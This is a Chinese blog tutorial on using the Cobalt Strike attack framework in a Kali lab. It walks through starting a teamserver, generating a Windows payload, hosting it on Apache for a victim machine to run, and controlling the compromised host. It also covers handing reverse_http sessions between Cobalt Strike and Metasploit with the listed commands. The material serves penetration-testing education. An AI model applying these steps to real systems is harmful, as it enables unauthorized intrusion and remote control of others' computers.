Cobalt Strike从入门到放弃

Cobalt Strike是一款美国Red Team开发的渗透测试神器，常被业界大佬称为CS。本文将会讲述如何在kali Linux安装Cobalt Strike以及使用这款神器。希望给各位一点帮助。

环境介绍

• kali linux 2021
• Cobalt Strike4.3
• windows10(受害机)

在kali中安装Cobalt Strike

在kali中安装很简单，Cobalt Strike是基于Java的。因为kali中已经安装了Java环境，所以我们直接可以运行Cobalt Strike。

进入Cobalt Strike目录，执行./start.sh即可运行Cobalt Strike。

这样便启动了Cobalt Strike

如上会提示登录

这时我们需要启动登录服务，因为Cobalt Strike 是可以团队操作。也就是所我们需要启动团队服务器。执行下面命令：

./teamserver 192.168.123.33 pass66
#./teamserver kali的ip 登录密码

生成shell

首先配置监听

和msfconsole类似，Cobalt Strike也要配置监听。

Cobalt Strike——Listeners——Add

相关参数说明：

生成shell

Attacks—Packages——windows ececutable

配置windows平台下的shell

保存生成的shell

Shell上线

将生成的shell放到/var/www/html,并启动apache服务器

cp kali.exe /var/www/html
service apache2 start

当目标主机下载并运行shell后，我们便可以看到回弹。

对目标主机的操作

interact 命令模式

当我们点击interact后，便会和msfconsole一样，进入命令模式。

现列出常用的命名

如获取C盘文件信息

cd /
ls

和目标屏幕交互

desktop

其他菜单操作

由于比较多，就不一个个说了。把常用的几个菜单说说。

可视化的文件浏览

Explore-File Browser

对局域网内所有设备扫描

显示目标的所有进程

Cobalt Strike与Msfconsole联动

首先我们在Cobalt Strike中创建一个新的Foreign Http监听

然后在msfconsole中配置监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set LHOST 192.168.123.33
set LPORT 4444
exploit

返回Cobalt Strike，选择目标，右键Spawn选择我们前面配置的Foreign Http监听

这时，我们返回到msf中便可以看到成功得到回弹。

将msf会话转移到Cobalt Strike

一样，我们先建立一个http的监听

因为在msf中我们已经获得了session

在其配置如下：

use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true
set LHOST 192.168.123.33
set LPORT 5555
set SESSION 1
run

set DisablePayloadHandler true 作用是msf不监听，代表是用来返给其他监听的 。

然后我们返回到Cobalt Strike这时便可以看到会话了

版权属于：逍遥子大表哥

本文链接：https://cloud.tencent.com/developer/article/1921473

按照知识共享署名-非商业性使用 4.0 国际协议进行许可，转载引用文章应遵循相同协议。